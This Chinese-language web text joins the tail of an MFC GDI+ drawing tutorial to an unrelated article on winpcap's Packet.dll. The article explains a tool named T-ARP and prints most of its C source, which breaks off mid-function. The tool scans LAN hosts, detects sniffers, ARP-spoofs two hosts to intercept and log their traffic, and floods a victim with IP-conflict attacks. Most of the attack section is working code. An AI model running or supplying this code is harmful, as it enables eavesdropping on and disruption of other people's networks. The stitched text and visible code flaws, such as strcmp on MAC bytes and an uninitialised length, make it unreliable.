(2)、在应用程序项目的应用类中,添加一个成员变量,如下列代码:
ULONG_PTR m_gdiplusToken;
其中,ULONG_PTR是一个DWORD数据类型,该成员变量用来保存GDI+被初始化后在应用程序中的GDI+标识,以便能在应用程序退出后,引用该标识来调用Gdiplus:: GdiplusShutdown来关闭GDI+。
(3)、在应用类中添加ExitInstance的重载,并添加下列代码用来关闭GDI+:
int CGDIPlusApp::ExitInstance()
{
Gdiplus::GdiplusShutdown(m_gdiplusToken);
return CWinApp::ExitInstance();
} (4)、在应用类的InitInstance函数中添加GDI+的初始化代码: BOOL CGDIPlusApp::InitInstance()
{
CWinApp::InitInstance();
Gdiplus::GdiplusStartupInput gdiplusStartupInput;
Gdiplus::GdiplusStartup(&m_gdiplusToken, &gdiplusStartupInput, NULL);
...
} (5)、在需要绘图的窗口或视图类中添加GDI+的绘制代码: void CGDIPlusView::onDraw(CDC *pDC)
{
Graphics graphics( pDC->m_hDC );
GraphicsPath path; // 构造一个路径
path.AddEllipse(50, 50, 200, 100);
// 使用路径构造一个画刷
PathGradientBrush pthGrBrush(&path);
// 将路径中心颜色设为蓝色
pthGrBrush.SetCenterColor(Color(255, 0, 0, 255));
// 设置路径周围的颜色为蓝芭,但alpha值为0
Color colors[] = {Color(0, 0, 0, 255)};
INT count = 1;
pthGrBrush.SetSurroundColors(colors, &count);
graphics.FillRectangle(&pthGrBrush, 50, 50, 200, 100);
LinearGradientBrush linGrBrush(
Point(300, 50),
Point(500, 150),
Color(255, 255, 0, 0), // 红色
Color(255, 0, 0, 255)); // 蓝色
graphics.FillRectangle(&linGrBrush, 300, 50, 200, 100);
} 作者:TOo2y
一 winpcap驱动简介
二 Packet.dll相关数据结构及函数
三 T-ARP功能及原理介绍
四 T-ARP主要代码分析
五 T-ARP源代码
一、winpcap驱动简介
winpcap(windows packet capture)是windows平台下一个免费,公共的网络访问系统。
(编者注:WinpCap开发包可以到以下两个网址下载: (1)http://winpcap.polito.it/
, (2)VC知识库工具栏目 )
开发winpcap这个项目的目的在于为win32应用程序提供访问网络底层的能力。它提供了以下的各项功能:
1> 捕获原始数据报,包括在共享网络上各主机发送/接收的以及相互之间交换的数据报;
2> 在数据报发往应用程序之前,按照自定义的规则将某些特殊的数据报过滤掉;
3> 在网络上发送原始的数据报;
4> 收集网络通信过程中的统计信息。
winpcap的主要功能在于独立于主机协议(如TCP-IP)而发送和接收原始数据报。也就是说,winpcap不能阻塞,过滤或控制其他应用程序数据报的发收,它仅仅只是监听共享网络上传送的数据报。因此,它不能用于QoS调度程序或个人防火墙。
目前,winpcap开发的主要对象是windows NT/2000/XP,这主要是因为在使用winpcap的用户中只有一小部分是仅使用windows 95/98/Me,并且M$也已经放弃了对win9x的开发。因此本文相关的程序T-ARP也是面向NT/2000/XP用户的。其实winpcap中的面向9x系统的概念和NT系统的非常相似,只是在某些实现上有点差异,比如说9x只支持ANSI编码,而NT系统则提倡使用Unicode编码。
本文讨论的是packet.dll所提供的各种函数,因为它们完全可以实现本文所希望的各项要求。但是如果你有其他特别的或更高级的要求,winpcap也提供了另一个动态连接库wpcap.dll。虽然wpcap.dll依靠于packet.dll,但是它却提供了一种更简单,直接,有力的方法来更好的利用编程环境。比如捕获一个数据报,创建一个数据报过滤装置或将监听到的数据报转存到某个文件等,wpcap.dll都会为你提供更加安全的实现方法。
二、Packet.dll相关数据结构及函数
本文的目的之一在于介绍如何利用winpcap驱动写ARP工具,因此有必要介绍一些相关的数据结构和函数,要不然看着一行行代码和函数,也许会有些不知所云。
首先介绍一些相关的数据结构:
1. typedef struct _ADAPTER ADAPTER //描述一个网络适配器;
2. typedef struct _PACKET PACKET //描述一组网络数据报的结构;
3. typedef struct NetType NetType //描述网络类型的数据结构;
4. typedef struct npf_if_addr npf_if_addr //描述一个网络适配器的ip地址;
5. struct bpf_hdr //数据报头部;
6. struct bpf_stat //当前捕获数据报的统计信息。
下面,将介绍T-ARP用到的各个函数,他们都是在packet.dll中定义的:
1> LPPACKET PacketAllocatePacket(void)
如果运行成功,返回一个_PACKET结构的指针,否则返回NULL。成功返回的结果将会传送到PacketReceivePacket()函数,接收来自驱动的网络数据报。
2> VOID PacketCloseAdapter(LPADAPTER lpAdapter)
关闭参数中提供的网络适配器,释放相关的ADAPTER结构。
3> VOID PacketFreePacket(LPPACKET lpPacket)
释放参数提供的_PACKET结构。
4> BOOLEAN PacketGetAdapterNames(LPSTR pStr,PULONG BufferSize)
返回可以得到的网络适配器列表及描述。
5> BOOLEAN PacketGetNetInfoEx(LPTSTR AdapterNames,npf_ip_addr *buff, PLONG NEntries)
返回某个网络适配器的全面地址信息。
其中npf_ip_addr结构包含:IPAddress,SubnetMask,Broadcast
IPAddress: ip地址
SubnetMask: 子网掩码
Broadcast: 广播地址
6> BOOLEAN PacketGetNetType(LPADAPTER AdapterObject, NetType *type)
返回某个网络适配器的MAC类型。
NetType结构里包含了LinkSpeed(速度)和LinkType(类型)。其中LinkType包含以下几种情况:
NdisMedium802_3: Ethernet(802.3)
NdisMediumWan: WAN
NdisMedium802_5: Token Ring(
802.5)
NdisMediumFddi: FDDI
NdisMediumAtm: ATM
NdisMediumArcnet878_2: ARCNET(878.2)
7> BOOLEAN PacketGetStats(LPADAPTER AdapterObject,struct bpf_stat *s)
返回几个关于当前捕获报告的统计信息。
其中bpf_stat结构包含:bs_recv, bs_drop,ps_ifdrop,bs_capt
bs_recv: 从网络适配器开始捕获数据报开始所接收到的所有数据报的数目,包括丢失的数据报;
bs_drop: 丢失的数据报数目。在驱动缓冲区已经满时,就会发生数据报丢失的情况。
8> PCHAR PacketGetVersion()
返回关于dll的版本信息。
9> VOID PacketInitPacket(LPPACKET lpPacket, PVOID Buffer, UINT Length)
初始化一个_PACKET结构。
10> LPADAPTER PacketOpetAdapter(LPTSTR AdapterName)
打开一个网络适配器。
11> BOOLEAN PacketReceivePacket(LPADAPTER AdapterObject,LPPACKET lpPacket,BOOLEAN Sync)
从NPF驱动程序读取网络数据报及统计信息。
数据报编码结构: |bpf_hdr|data|Padding|bpf_hdr|data|Padding|
12> BOOLEAN PacketSendPacket(LPADAPTER AdapterObject,LPPACKET lpPacket, BOOLEAN Sync)
发送一个或多个数据报的副本。
13> BOOLEAN PacketSetBuff(LPADAPTER AdapterObject,int dim)
设置捕获数据报的内核级缓冲区大小。
14> BOOLEAN PacketSetHwFilter(LPADAPTER AdapterObject,ULONG Filter)
为接收到的数据报设置硬件过滤规则。
以下为一些典型的过滤规则:
NDIS_PACKET_TYPE_PROMISCUOUS: 设置为混杂模式,接收所有流过的数据报;
NDIS_PACKET_TYPE_DIRECTED: 只有目的地为本地主机网络适配器的数据报才会被接收;
NDIS_PACKET_TYPE_BROADCAST: 只有广播数据报才会被接收;
NDIS_PACKET_TYPE_MULTICAST: 只有与本地主机网络适配器相对应的多播数据报才会被接收;
NDIS_PACKET_TYPE_ALL_MULTICAST: 所有多播数据报均被接收;
NDIS_PACKET_TYPE_ALL_LOCAL: 所有本地数据报均被接收。
15> BOOLEAN PacketSetNumWrites(LPADAPTER AdapterObject,int nwrites)
设置调用PacketSendPacket()函数发送一个数据报副本所重复的次数。
16> BOOLEAN PacketSetReadTimeout(LPADAPTER AdapterObject,int timeout)
设置在接收到一个数据报后"休息"的时间。
以上就是T-ARP所调用的各个函数,它包含了packet.dll里的大部分函数。如果你想更深层的了解winpcap,请访问相关网站,主页地址: http://winpcap.polito.it
三、T-ARP功能及原理介绍
准备工作:
1. 安装winpcap驱动,目前最新的版本为winpcap_3.0_alpha, 稳定版本为winpcap_2.3;
2. 使用ARP欺骗功能前,必须启动ip路由功能,修改(添加)注册表选项:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\IPEnableRouter = 0x1
选项:
-m 主机扫描,获得局域网内指定ip段中存活主机的ip地址和mac地址;
-a 反嗅探扫描,获得局域网内指定ip段中嗅探主机的ip地址和mac地址;
-s ARP欺骗,欺骗局域网内指定的两台主机,使其相互发送接收的数据报均通过本地主机;
网络嗅探,如果你选择欺骗的两台主机均是本地主机,那么将会监听到所有流过本地主机的数据报;
IP冲突,如果你选择欺骗的两台主机是同一台非本地主机,那么就会发起ip冲突攻击;
-r 重置被欺骗主机,使被欺骗的两台主机恢复正常的工作状态。
原理及实现过程:
无论什么选项,第一件事就是获得本地主机的mac地址及相关网络设置。我们以一个特殊的ip地址(112.112.112.112)向本地主机发送一个ARP Request(ARP请求)数据报,当本地主机接收到后,就会发送一个ARP Reply(ARP应答)数据报来回应请求,这样我们就可以获得本地主机的mac地址了。至于相关的网络设置可以通过PacketGetNetInfoEx()和PacketGetNetType()获得。
-m 以本地主机的名义(本地主机的ip和mac)向指定ip网段内的所有主机发送广播(ff:ff:ff:ff:ff:ff)ARP Request数据报,存活的主机就会发送ARP Reply数据报,这样就可以获得当前存活主机的列表。因为在很多网关上都对ARP Request做了限制--非内网ip发送的ARP Request数据报不会得到网关的回应,如果你用内网的其他某台主机的ip来发送ARP Request数据报,如果填写的mac地址和相应的ip不合,就会出现ip冲突。所以最好还是用自己的ip和mac地址来发送请求。
-a 以本地主机的名义(本地主机的ip和mac)向指定ip网段内的所有主机发送31位伪广播地址(ff:ff:ff:ff:ff:fe)的ARP Request数据报,只有正在嗅探的主机才会发送ARP Reply数据报,这样就可以获得当前存活主机的列表。嗅探中的win2000系统还会对16位伪广播地址(ff:ff:00:00:00:00)做出回应;而嗅探中的win95/98/me不仅会回应16位伪广播地址,而且也会回应8位伪广播地址(ff:00:00:00:00:00),而*NIX系统对各种广播地址所做出的反应却有些不同。在此我们选择31位伪广播地址,是因为绝大多数的系统在嗅探时都会对它做出回应。而正常状况下的各种系统,都不会对31位伪广播地址做出回应。
-s (ARP欺骗spoof) 需要强调的是在某些局域网(如以太网)内,数据报的发送与接收是基于硬件地址的,这是我们实现欺骗的基础。首先获得指定的两台主机(假设为 A 和 B)的mac地址,然后向A发送ARP Reply数据报,其中的源ip地址为B的ip地址,但是源mac地址却是本地主机的mac地址,这样主机A就会认为主机B的mac地址是本地主机的mac地址,所以主机A发送到主机B的数据报都发送到本地主机了。同理向主机B发送ARP Reply数据报,通知它主机A的mac地址为本地主机的mac地址。这样主机A和主机B就会把目的主机的mac地址理解为本地主机的mac地址,于是他们之间相互发送的数据报都首先到达了本地主机,而先前我们已经将本地主机设置了ip路由功能,系统会自动将数据报转发到真正的目的主机。其间,你就可以监听它们通信的各种数据报了。
-s (网络嗅探sniff) 如果指定的两个目的主机均为本地主机,那么就只是将网络适配器设置为混杂模式,这样就可以监听到流过本地主机网络适配器的各种数据。
-s (ip冲突shock) 如果你选择欺骗的两台主机是同一台非本地主机(假如是主机C),那么就会不断地向主机C发送ARP Reply数据报,报文中的源ip地址就是主机C的ip地址,但是源mac地址却是本地主机的mac地址,因此主机C就会发现有另一台主机同时拥有和自己相同的ip,这就是ip冲突攻击。如果是非xp系统,都会跳出一个ip冲突的提示窗口,而xp系统也会有类似的警告。但是请注意,在主机C的系统事件查看器中,会留下本地主机的mac地址与之冲突的恶心记录,所以你最好不要滥用这个功能。
-r 在实现了ARP欺骗的情况下,向主机A和B发送ARP Reply数据报,通知主机A(B)注意主机B(A)的mac地址为主机B(A)自己的mac地址,这样主机A和B就会更新他们的ARP缓存,实现正常的数据通信。
四、T-ARP主要代码分析
1> 自定义函数:
int getmine() //发送ARP Request数据报,请求获得本地主机的mac地址;
void getdata(LPPACKET lp,int op) //分类处理接收到的数据报;
DWORD WINAPI sniff(LPVOID no) //将网络适配器设置为混杂模式,接收所有流过的数据报;
DWORD WINAPI sendMASR(LPVOID no) //发送ARP Request数据报,请求获得指定ip的mac地址;
DWORD WINAPI sendSR(LPVOID no) //发送ARP Reply进行ARP欺骗,或是更新主机的ARP缓存。
2> 主要代码分析
printf("\nLibarary Version: %s",PacketGetVersion()); //输出dll的版本信息;
PacketGetAdapterNames((char *)adaptername,&adapterlength) //获得本地主机的网络适配器列表和描述;
lpadapter=PacketOpenAdapter(adapterlist[open-1]); //打开指定的网络适配器;
PacketGetNetType(lpadapter,&ntype) //获得网络适配器的MAC类型;
PacketGetNetInfoEx(adapterlist[open-1],&ipbuff,&npflen) //获得指定网络适配器的相关信息;
rthread=CreateThread(NULL,0,sniff,(LPVOID)&opti,0,&threadrid); //创建一个新线程来监听网络数据报;
PacketSetHwFilter(lpadapter,NDIS_PACKET_TYPE_PROMISCUOUS) //将网络适配器设置为混杂模式,这样才可以监听流过本地主机的数据报;
PacketSetBuff(lpadapter,500*1024) //自定义网络适配器的内核缓存的大小为 500*1024;
PacketSetReadTimeout(lpadapter,1) //设置接收一个数据报后等待的时间为1毫秒;
PacketReceivePacket(lpadapter,lppacketr,TRUE) //在设置为混杂模式后,接收所有的数据报;
sthread=CreateThread(NULL,0,sendMASR,(LPVOID)&opti,0,&threadsid);
sthread=CreateThread(NULL,0,sendSR,(LPVOID)&opti,0,&threadsid); //创建一个新线程发送特定的ARP数据报
PacketSetNumWrites(lpadapter,2) //在发送一个数据报时,重复发送两次;
PacketSendPacket(lpadapter,lppackets,TRUE) //发送自定义数据报;
WaitForSingleObject(sthread,INFINITE); //等待发送ARP数据报的线程结束;
PacketGetStats(lpadapter,&stat) //获得网络适配器的统计信息;
#include "packet32.h"
#include "ntddndis.h"
#include <stdio.h>
#include <conio.h>
#pragma comment(lib,"ws2_32")
#pragma comment(lib,"packet")
#define ETH_IP 0x0800
#define ETH_ARP 0x0806
#define ARP_REQUEST 0x0001
#define ARP_REPLY 0x0002
#define ARP_HARDWARE 0x0001
#define max_num_adapter 10
#pragma pack(push,1)
typedef struct ethdr
{
unsigned char eh_dst[6];
unsigned char eh_src[6];
unsigned short eh_type;
}ETHDR,*PETHDR;
typedef struct arphdr
{
unsigned short arp_hdr;
unsigned short arp_pro;
unsigned char arp_hln;
unsigned char arp_pln;
unsigned short arp_opt;
unsigned char arp_sha[6];
unsigned long arp_spa;
unsigned char arp_tha[6];
unsigned long arp_tpa;
}ARPHDR,*PARPHDR;
typedef struct iphdr
{
unsigned char h_lenver;
unsigned char tos;
unsigned short total_len;
unsigned short ident;
unsigned short frag_and_flags;
unsigned char ttl;
unsigned char proto;
unsigned short checksum;
unsigned int sourceip;
unsigned int destip;
}IPHDR,*PIPHDR;
#pragma pack(push)
LPADAPTER lpadapter=0;
LPPACKET lppacketr,lppackets;
ULONG myip,firstip,secondip;
UCHAR mmac[6]={0},fmac[6]={0},smac[6]={0};
BOOL mm=FALSE,fm=FALSE,sm=FALSE;
FILE *fp;
char adapterlist[max_num_adapter][1024];
char msg[50];
int num=0;
void start()
{
printf("T-ARP --- ARP Tools, by TOo2y(??), 11-9-2002\n");
printf("Homepage: www.safechina.net\n");
printf("E-mail: TOo2y@safechina.net\n");
return ;
}
void usage()
{
printf("\nUsage: T-ARP [-m|-a|-s|-r] firstip secondip \n\n");
printf("Option:\n");
printf(" -m mac Get the mac address from firstip to secondip\n");
printf(" -a antisniff Get the sniffing host from firstip to secondip\n");
printf(" -s spoof 1> Spoof the host between firstip and secondip\n");
printf(" sniff 2> Sniff if firstip == secondip == your own ip\n");
printf(" shock 3> Shock if firstip == secondip != your own ip\n");
printf(" -r reset Reset the spoofed host work normally\n\n");
printf("Attention:\n");
printf(" 1> You must have installed the winpcap_2.3 or winpcap_3.0_alpha\n");
printf(" 2> HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters\\IPEnableRouter == 0x1\n\n");
return ;
}
int getmine()
{
char sendbuf[1024];
int k;
ETHDR eth;
ARPHDR arp;
for(k=0;k<6;k++)
{
eth.eh_dst[k]=0xff;
eth.eh_src[k]=0x82;
arp.arp_sha[k]=0x82;
arp.arp_tha[k]=0x00;
}
eth.eh_type=htons(ETH_ARP);
arp.arp_hdr=htons(ARP_HARDWARE);
arp.arp_pro=htons(ETH_IP);
arp.arp_hln=6;
arp.arp_pln=4;
arp.arp_opt=htons(ARP_REQUEST);
arp.arp_tpa=htonl(myip);
arp.arp_spa=inet_addr("112.112.112.112");
memset(sendbuf,0,sizeof(sendbuf));
memcpy(sendbuf,ð,sizeof(eth));
memcpy(sendbuf+sizeof(eth),&arp,sizeof(arp));
PacketInitPacket(lppackets,sendbuf,sizeof(eth)+sizeof(arp));
if(PacketSendPacket(lpadapter,lppackets,TRUE)==FALSE)
{
printf("PacketSendPacket in getmine Error: %d\n",GetLastError());
return -1;
}
return 0;
}
void getdata(LPPACKET lp,int op)
{
ULONG ulbytesreceived,off,tlen,ulen,ulLines;
ULONG j,k;
ETHDR *eth;
ARPHDR *arp;
PIPHDR ip;
char *buf,*pChar,*pLine,*base;
struct bpf_hdr *hdr;
struct sockaddr_in sin;
ulbytesreceived=lp->ulBytesReceived;
buf=(char *)lp->Buffer;
off=0;
while(off<ulbytesreceived)
{
if(kbhit())
{
return ;
}
hdr=(struct bpf_hdr *)(buf+off);
off+=hdr->bh_hdrlen;
pChar=(char *)(buf+off);
base=pChar;
off=Packet_WORDALIGN(off+hdr->bh_caplen);
eth=(PETHDR)pChar;
arp=(PARPHDR)(pChar+sizeof(ETHDR));
if(eth->eh_type==htons(ETH_IP))
{
ip=(PIPHDR)(pChar+sizeof(ETHDR));
if(fm && sm && (op==3))
{
if((((ip->sourceip!=htonl(myip)) && (ip->destip!=htonl(myip))
&& !strcmp((char *)eth->eh_dst,(char *)mmac))
&& ((ip->sourceip==htonl(firstip)) || (ip->destip==htonl(firstip))
|| (ip->sourceip==htonl(secondip)) || (ip->destip==htonl(secondip))))
|| ((firstip==myip) && (secondip==myip)))
{
memset(msg,0,sizeof(msg));
sin.sin_addr.s_addr=ip->sourceip;
printf("[IP:]%16s ---> [IP:]",inet_ntoa(sin.sin_addr));
strcpy(msg,inet_ntoa(sin.sin_addr));
strcat(msg+15," ---> ");
sin.sin_addr.s_addr=ip->destip;
printf("%16s\n",inet_ntoa(sin.sin_addr));
strcat(msg+23,inet_ntoa(sin.sin_addr));
fseek(fp,-2,1);
fwrite("\r\n\r\n\r\n",6,1,fp);
fwrite(msg,38,1,fp);
fwrite("\r\n",2,1,fp);
ulLines=(hdr->bh_caplen+15)/16;
for(k=0;k<ulLines;k++)
{
pLine=pChar;
printf("%08lx : ",pChar-base);
ulen=tlen;
ulen=(ulen>16) ? 16 : ulen;
tlen-=ulen;
for(j=0;j<ulen;j++)
printf("%02x ",*(BYTE *)pChar++);
if(ulen<16)
printf("%*s",(16-ulen)*3," ");
pChar=pLine;
for(j=0;j<ulen;j++,pChar++)
{
printf("%c",isprint(*pChar)? *pChar : ''.'');
fputc(isprint(*pChar) ? *pChar : ''.'',fp);
}
printf("\n");
}
printf("\n");
fwrite("\r\n",2,1,fp);
}
}
continue;
}
else if((eth->eh_type==htons(ETH_ARP)) && (arp->arp_opt==htons(ARP_REPLY)))
{
sin.sin_addr.s_addr=arp->arp_spa;
if(sin.sin_addr.s_addr==htonl(myip))
{
memcpy(mmac,eth->eh_src,6);
if(!mm)
{
printf("\t");
for(k=0;k<5;k++)
printf("%.2x-",eth->eh_src[k]);
printf("%.2x\n",eth->eh_src[5]);
switch(op)
{
case 1:
printf("\n[MAC LIST:]");
break;
case 2:
printf("\n[Sniffing Host:]");
break;
default:
break;
}
}
mm=TRUE;
}
if((op==1) || (op==2))
{
printf("\n[IP:] %.16s\t[MAC:] ",inet_ntoa(sin.sin_addr));
for(k=0;k<5;k++)
printf("%.2x-",eth->eh_src[k]);
printf("%.2x",eth->eh_src[5]);
}
else if(((op==3) || (op==4)) && (!fm || !sm))
{
if(arp->arp_spa==htonl(firstip))
{
memcpy(fmac,eth->eh_src,6);
fm=TRUE;
}
if(arp->arp_spa==htonl(secondip))
{
memcpy(smac,eth->eh_src,6);
sm=TRUE;
}
}
}
}
return ;
}
DWORD WINAPI sniff(LPVOID no)
{
int option=*(int *)no;
char recvbuf[1024*250];
if(PacketSetHwFilter(lpadapter,NDIS_PACKET_TYPE_PROMISCUOUS)==FALSE)
{
printf("Warning: Unable to set the adapter to promiscuous mode\n");
}
if(PacketSetBuff(lpadapter,500*1024)==FALSE)
{
printf("PacketSetBuff Error: %d\n",GetLastError());
return -1;
}
if(PacketSetReadTimeout(lpadapter,1)==FALSE)
{
printf("Warning: Unable to set the timeout\n");
}
if((lppacketr=PacketAllocatePacket())==FALSE)
{
printf("PacketAllocatePacket receive Error: %d\n",GetLastError());
return -1;
}
PacketInitPacket(lppacketr,(char *)recvbuf,sizeof(recvbuf));
while(!kbhit())
{
if(PacketReceivePacket(lpadapter,lppacketr,TRUE)==FALSE)
{
return -1;
}
getdata(lppacketr,option);
}
return 0;
}
DWORD WINAPI sendMASR(LPVOID no)
{
int fun=*(int *)no;
int k,stimes;
char sendbuf[1024];
ETHDR eth;
ARPHDR arp;
if(fun<1 || fun>4)
{
return -1;
}
else
{
for(k=0;k<6;k++)
{
eth.eh_dst[k]=0xff;
arp.arp_tha[k]=0x00;
}
if(fun==2)
eth.eh_dst[5]=0xfe;
}
memcpy(eth.eh_src,mmac,6);
eth.eh_type=htons(ETH_ARP);
arp.arp_hdr=htons(ARP_HARDWARE);
arp.arp_pro=htons(ETH_IP);
arp.arp_hln=6;
arp.arp_pln=4;
arp.arp_opt=htons(ARP_REQUEST);
arp.arp_spa=htonl(myip);
memcpy(arp.arp_sha,mmac,6);
if(fun==1 || fun==2)
stimes=1;
else if(fun==3 || fun==4)
stimes=2;
for(k=0;k<stimes;k++)
{
if(stimes==1)
{
arp.arp_tpa=htonl(firstip+(num++));
}
else if(stimes==2)
{
switch(k)
{
case 0:
arp.arp_tpa=htonl(firstip);
break;
case 1:
arp.arp_tpa=htonl(secondip);
break;
default:
break;
}
}
memset(sendbuf,0,sizeof(sendbuf));
memcpy(sendbuf,ð,sizeof(eth));
memcpy(sendbuf+sizeof(eth),&arp,sizeof(arp));
PacketInitPacket(lppackets,sendbuf,sizeof(eth)+sizeof(arp));
if(PacketSendPacket(lpadapter,lppackets,TRUE)==FALSE)
{
printf("PacketSendPacket in sendMASR Error: %d\n",GetLastError());
return -1;
}
}
return 0;
}
DWORD WINAPI sendSR(LPVOID no)
{
int fun=*(int *)no;
int j,k;
char sendbuf[1024];
struct sockaddr_in fsin,ssin;
BOOL stimes=FALSE;
ETHDR eth;
ARPHDR arp;
fsin.sin_addr.s_addr=htonl(firstip);
ssin.sin_addr.s_addr=htonl(secondip);
eth.eh_type=htons(ETH_ARP);
arp.arp_hdr=htons(ARP_HARDWARE);
arp.arp_pro=htons(ETH_IP);
arp.arp_hln=6;
arp.arp_pln=4;
arp.arp_opt=htons(ARP_REPLY);
if(fun==3)
{
if(mm)
{
if((firstip==myip) && (secondip==myip))
{
fm=TRUE;
sm=TRUE;
memcpy(fmac,mmac,6);
memcpy(smac,mmac,6);
}
else if(!fm || !sm)
{
printf("\nNot get enough data\n");
return -1;
}
for(j=0;j<2;j++)
{
if(j==0)
{
printf("\nSpoofing %.16s : ",inet_ntoa(fsin.sin_addr));
printf("%.16s ==> ",inet_ntoa(ssin.sin_addr));
}
else if(j==1)
{
printf("Spoofing %.16s : ",inet_ntoa(ssin.sin_addr));
printf("%.16s ==> ",inet_ntoa(fsin.sin_addr));
}
for(k=0;k<5;k++)
printf("%.2x-",mmac[k]);
printf("%.2x\n",mmac[5]);
}
printf("\ni will try to snoof ...\n\n");
stimes=TRUE;
}
else
{
printf("\nNot get enough data\n");
return -1;
}
}
else if(fun==4)
{
if(mm)
{
if((firstip==myip) && (secondip==myip))
{
fm=TRUE;
sm=TRUE;
memcpy(fmac,mmac,6);
memcpy(smac,mmac,6);
}
else if(!fm || !sm)
{
printf("\nNot get enough data\n");
return -1;
}
printf("\nReset %.16s : ",inet_ntoa(fsin.sin_addr));
printf("%.16s ==> ",inet_ntoa(ssin.sin_addr));
for(k=0;k<5;k++)
printf("%.2x-",smac[k]);
printf("%.2x\n",smac[5]);
printf("Reset %.16s : ",inet_ntoa(ssin.sin_addr));
printf("%.16s ==> ",inet_ntoa(fsin.sin_addr));
for(k=0;k<5;k++)
printf("%.2x-",fmac[k]);
printf("%.2x\n\n",fmac[5]);
stimes=FALSE;
}
else
{
printf("\nNot get enough data\n");
return -1;
}
}
else
return -1;
do
{
memcpy(eth.eh_dst,fmac,6);
memcpy(arp.arp_tha,fmac,6);
arp.arp_tpa=htonl(firstip);
arp.arp_spa=htonl(secondip);
if(!stimes)
{
memcpy(eth.eh_src,smac,6);
memcpy(arp.arp_sha,smac,6);
}
else
{
memcpy(eth.eh_src,mmac,6);
memcpy(arp.arp_sha,mmac,6);
}
memset(sendbuf,0,sizeof(sendbuf));
memcpy(sendbuf,ð,sizeof(eth));
memcpy(sendbuf+sizeof(eth),&arp,sizeof(arp));
PacketInitPacket(lppackets,sendbuf,sizeof(eth)+sizeof(arp));
if(PacketSetNumWrites(lpadapter,2)==FALSE)
{
printf("Warning: Unable to send a packet 2 times\n");
}
if(PacketSendPacket(lpadapter,lppackets,TRUE)==FALSE)
{
printf("PacketSendPacket in SendSR Error: %d\n",GetLastError());
return -1;
}
Sleep(1000);
memcpy(eth.eh_dst,smac,6);
memcpy(arp.arp_tha,smac,6);
arp.arp_tpa=htonl(secondip);
arp.arp_spa=htonl(firstip);
if(!stimes)
{
memcpy(eth.eh_src,fmac,6);
memcpy(arp.arp_sha,fmac,6);
}
else
{
memcpy(eth.eh_src,mmac,6);
memcpy(arp.arp_sha,mmac,6);
}
memset(sendbuf,0,sizeof(sendbuf));
memcpy(sendbuf,ð,sizeof(eth));
memcpy(sendbuf+sizeof(eth),&arp,sizeof(arp));
PacketInitPacket(lppackets,sendbuf,sizeof(eth)+sizeof(arp));
if(PacketSendPacket(lpadapter,lppackets,TRUE)==FALSE)
{
printf("PacketSendPacket int sendSR Error: %d\n",GetLastError());
return -1;
}
Sleep(1000);
}while(stimes);
if(fun==4)
printf("Reset Successfully");
return 0;
}
int main(int argc,char *argv[])
{
HANDLE sthread,rthread;
WCHAR adaptername[8192];
WCHAR *name1,*name2;
ULONG adapterlength;
DWORD threadsid,threadrid;
struct NetType ntype;
struct bpf_stat stat;
struct sockaddr_in sin;
struct npf_if_addr ipbuff;
int adapternum=0,opti=0,open,i,total;
long npflen;
system("cls.exe");
start();
if(argc!=4)
{
usage();
getche();
return -1;
}
else
{
if(!strcmp(argv[1],"-m"))
{
opti=1;
}
else if(!strcmp(argv[1],"-a"))
{
opti=2;
}
else if(!strcmp(argv[1],"-s"))
{
opti=3;
if((fp=fopen("capture.txt","w+"))==NULL)
{
printf("Open capture.txt Error: %d\n");
return -1;
}
else
{
fwrite("T-ARP Captrue Data",20,1,fp);
}
}
else if(!strcmp(argv[1],"-r"))
{
opti=4;
}
else
{
usage();
getche();
return -1;
}
}
firstip=ntohl(inet_addr(argv[2]));
secondip=ntohl(inet_addr(argv[3]));
total=secondip-firstip+1;
printf("\nLibarary Version: %s",PacketGetVersion());
adapterlength=sizeof(adaptername);
if(PacketGetAdapterNames((char *)adaptername,&adapterlength)==FALSE)
{
printf("PacketGetAdapterNames Error: %d\n",GetLastError());
return -1;
}
name1=adaptername;
name2=adaptername;
i=0;
while((*name1!=''\0'') || (*(name1-1)!=''\0''))
{
if(*name1==''\0'')
{
memcpy(adapterlist[i],name2,2*(name1-name2));
name2=name1+1;
i++;
}
name1++;
}
adapternum=i;
printf("\nAdapters Installed:\n");
for(i=0;i<adapternum;i++)
wprintf(L"%d - %s\n",i+1,adapterlist[i]);
do
{
printf("\nSelect the number of the adapter to open: ");
scanf("%d",&open);
if(open>=1 && open<=adapternum)
break;
}while(open<1 || open>adapternum);
lpadapter=PacketOpenAdapter(adapterlist[open-1]);
if(!lpadapter || (lpadapter->hFile==INVALID_HANDLE_VALUE))
{
printf("PacketOpenAdapter Error: %d\n",GetLastError());
return -1;
}
if(PacketGetNetType(lpadapter,&ntype))
{
printf("\n\t\t*** Host Information ***\n");
printf("[LinkTpye:]\t%d\t\t",ntype.LinkType);
printf("[LinkSpeed:]\t%d b/s\n",ntype.LinkSpeed);
}
npflen=sizeof(ipbuff);
if(PacketGetNetInfoEx(adapterlist[open-1],&ipbuff,&npflen))
{
sin=*(struct sockaddr_in *)&(ipbuff.Broadcast);
printf("[Broadcast:]\t%.16s\t",inet_ntoa(sin.sin_addr));
sin=*(struct sockaddr_in *)&(ipbuff.SubnetMask);
printf("[SubnetMask:]\t%.16s\n",inet_ntoa(sin.sin_addr));
sin=*(struct sockaddr_in *)&(ipbuff.IPAddress);
printf("[IPAddress:]\t%.16s\t",inet_ntoa(sin.sin_addr));
myip=ntohl(sin.sin_addr.s_addr);
printf("[MACAddress:]");
}
else
{
printf("\nNot get enough data\n");
PacketFreePacket(lppackets);
PacketCloseAdapter(lpadapter);
return -1;
}
if((lppackets=PacketAllocatePacket())==FALSE)
{
printf("PacketAllocatePacket send Error: %d\n",GetLastError());
return -1;
}
rthread=CreateThread(NULL,0,sniff,(LPVOID)&opti,0,&threadrid);
Sleep(300);
if(getmine())
{
PacketFreePacket(lppackets);
PacketFreePacket(lppacketr);
PacketCloseAdapter(lpadapter);
return -1;
}
Sleep(300);
if((opti==1) || (opti==2))
{
for(i=0;i<total;i++)
{
sthread=CreateThread(NULL,0,sendMASR,(LPVOID)&opti,0,&threadsid);
Sleep(30);
}
Sleep(1000);
}
else if((opti==3) || (opti==4))
{
sthread=CreateThread(NULL,0,sendMASR,(LPVOID)&opti,0,&threadsid);
Sleep(300);
CloseHandle(sthread);
sthread=CreateThread(NULL,0,sendSR,(LPVOID)&opti,0,&threadsid);
}
WaitForSingleObject(sthread,INFINITE);
CloseHandle(sthread);
CloseHandle(rthread);
if(PacketGetStats(lpadapter,&stat)==FALSE)
{
printf("Warning: Unable to get the adapter stat\n");
}
else
{
